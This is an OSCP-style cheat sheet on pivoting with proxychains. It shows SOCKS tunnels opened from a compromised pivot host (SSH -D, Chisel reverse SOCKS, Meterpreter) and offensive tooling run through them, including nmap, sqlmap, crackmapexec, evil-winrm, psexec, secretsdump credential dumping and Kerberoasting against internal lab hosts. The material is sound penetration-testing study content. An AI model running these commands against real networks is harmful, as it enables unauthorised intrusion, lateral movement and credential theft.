Proxychains — Route Tools Through SOCKS
Ctrl+F:
proxychains4.conf·dynamic_chain·socks5 127.0.0.1 1080·-q·-sT -Pn
Proxychains wraps any command and sends its TCP traffic through a SOCKS4/SOCKS5/HTTP proxy — typically your SSH -D or Chisel SOCKS listener on Kali.
[Kali tool] → proxychains → SOCKS 127.0.0.1:1080 → [Pivot] → [Internal host]
When: After SSH Tunneling > 📌 3) Dynamic Port Forwarding — SOCKS Proxy (`-D`), Chisel R:socks, or Meterpreter socks. Not needed for Ligolo-ng or sshuttle (native routing).
→ Tunneling · SSH Tunneling · Chisel · LatMovement
📌 Install (Kali)
sudo apt install -y proxychains4
proxychains4 -h
which proxychains4 proxychains| Binary | Notes |
|---|---|
proxychains4 | Modern — use this |
proxychains | Often symlink to v4 on Kali |
Config: /etc/proxychains4.conf
📌 Step 1 — Start a SOCKS proxy
Pick one upstream tunnel first:
# SSH dynamic forward (pivot has SSH)
ssh -D 1080 -N -f user@PIVOT_IP
# Chisel reverse SOCKS (see Chisel note)
chisel server -p 8000 --reverse
# on pivot: chisel client KALI:8000 R:1080:socks
# Plink from Windows pivot
# plink.exe -R 1080 user@KALI -N -CVerify something is listening:
ss -ltnp | grep 1080→ SSH Tunneling · Plink · Windows Tunneling
📌 Step 2 — Configure /etc/proxychains4.conf
sudo nano /etc/proxychains4.confRecommended OSCP settings:
# Comment OUT strict_chain — use dynamic instead
# strict_chain
dynamic_chain
# Resolve DNS through proxy (needed for internal hostnames)
proxy_dns
# Timeouts (defaults usually fine)
tcp_read_time_out 15000
tcp_connect_time_out 8000
# Optional — don't proxy local traffic
# localnet 127.0.0.0/255.0.0.0
[ProxyList]
socks5 127.0.0.1 1080| Setting | Meaning |
|---|---|
strict_chain | All proxies must be up — fails if one dead |
dynamic_chain | Skip dead proxies — prefer for OSCP |
random_chain | Random order — rarely used |
proxy_dns | Resolve hostnames through the pivot (internal DNS) |
[ProxyList] | Your SOCKS/HTTP proxy — match your tunnel port |
Other proxy types:
socks4 127.0.0.1 1080
socks5 127.0.0.1 1080
http 127.0.0.1 8080Tor default (if using Tor): socks5 127.0.0.1 9050
📌 Step 3 — Run tools through proxychains
proxychains4 COMMAND
proxychains4 -q COMMAND # quiet — less noise on examNmap (critical rules)
SYN scan (-sS) does NOT work through SOCKS. Use TCP connect:
proxychains4 -q nmap -sT -Pn -p 22,80,443,445,3389,5985 172.16.0.10
proxychains4 -q nmap -sT -Pn --top-ports 100 172.16.0.0/24
proxychains4 -q nmap -sT -Pn -sV -p 445,5985 172.16.0.20| Flag | Why |
|---|---|
-sT | TCP connect scan — works through SOCKS |
-Pn | Skip host discovery ping (often blocked internally) |
-q (proxychains) | Suppress proxychains banner spam |
Web / enum
proxychains4 curl http://172.16.0.10
proxychains4 curl -k https://172.16.0.10/admin
proxychains4 gobuster dir -u http://172.16.0.10 -w /usr/share/wordlists/dirb/common.txt
proxychains4 ffuf -u http://172.16.0.10/FUZZ -w wordlist.txt
proxychains4 nikto -h http://172.16.0.10Windows / AD through pivot
proxychains4 crackmapexec smb 172.16.0.0/24 -u user -p pass
proxychains4 evil-winrm -i 172.16.0.10 -u admin -p 'Password123!'
proxychains4 impacket-psexec domain/admin:pass@172.16.0.10
proxychains4 impacket-secretsdump domain/admin:pass@172.16.0.10
proxychains4 impacket-GetUserSPNs domain/user:pass -dc-ip 172.16.0.1 -request
proxychains4 xfreerdp3 /u:admin /p:pass /v:172.16.0.10
proxychains4 rdesktop 172.16.0.10Exploits / misc
proxychains4 python3 exploit.py
proxychains4 sqlmap -u "http://172.16.0.10/page?id=1" --batch
proxychains4 ssh user@172.16.0.10
proxychains4 ldapsearch -x -H ldap://172.16.0.1 -b "dc=domain,dc=local"→ Impacket · evil-winrm · CrackMapExec - nxc
📌 Full OSCP workflow
1. Shell on dual-homed pivot → ip a (find internal subnet)
2. Start SOCKS:
ssh -D 1080 -N -f user@PIVOT
OR chisel R:socks on 1080
3. Edit /etc/proxychains4.conf → dynamic_chain + socks5 127.0.0.1 1080
4. Scan internal:
proxychains4 -q nmap -sT -Pn --top-ports 50 172.16.0.0/24
5. Attack internal hosts:
proxychains4 evil-winrm / impacket / cme ...
📌 Proxychains vs other pivot methods
| Method | Need proxychains? | Nmap SYN? | Setup |
|---|---|---|---|
SSH -D + proxychains | ✅ Yes | ❌ use -sT | Easy if SSH on pivot |
| Chisel SOCKS + proxychains | ✅ Yes | ❌ use -sT | HTTP tunnel through firewall |
| Ligolo-ng | ❌ No | ✅ Yes | TUN interface — tools native |
| sshuttle | ❌ No | ⚠️ Mostly | VPN-like over SSH |
SSH -L port forward | ❌ No | ✅ on forwarded port | Single port only |
📌 Multi-hop / chained proxies
Chisel double pivot — second SOCKS or chain in [ProxyList]:
dynamic_chain
[ProxyList]
socks5 127.0.0.1 1080SSH ProxyJump — simpler than double proxychains for SSH-only:
ssh -J user@PIVOT1 user@INTERNAL→ Tunneling > 📌 Multi-Hop / Double Pivot
📌 Meterpreter SOCKS
# msfconsole — after session
use auxiliary/server/socks_proxy
set SRVPORT 1080
run
# /etc/proxychains4.conf
socks5 127.0.0.1 1080
proxychains4 nmap -sT -Pn 172.16.0.10📌 Troubleshooting
| Problem | Fix |
|---|---|
connection refused on 1080 | Start SSH -D or Chisel first · ss -ltnp | grep 1080 |
| Nmap shows all filtered/wrong | Use -sT -Pn not -sS |
| DNS fails for internal names | Enable proxy_dns in config |
Strict chain ... failed | Switch to dynamic_chain |
| Tool ignores proxy | Some tools use raw sockets — try Ligolo-ng |
| Slow scans | -q · reduce ports · --top-ports 20 |
| Proxychains noise in output | proxychains4 -q |
📌 Quick cheat sheet
# SOCKS up
ssh -D 1080 -N -f user@PIVOT
# Config
sudo sed -i 's/^strict_chain/#strict_chain/' /etc/proxychains4.conf
# add dynamic_chain + socks5 127.0.0.1 1080 under [ProxyList]
# Scan + attack
proxychains4 -q nmap -sT -Pn -p 445,5985 172.16.0.10
proxychains4 -q crackmapexec smb 172.16.0.10 -u user -p pass
proxychains4 -q evil-winrm -i 172.16.0.10 -u admin -p pass
proxychains4 curl http://172.16.0.10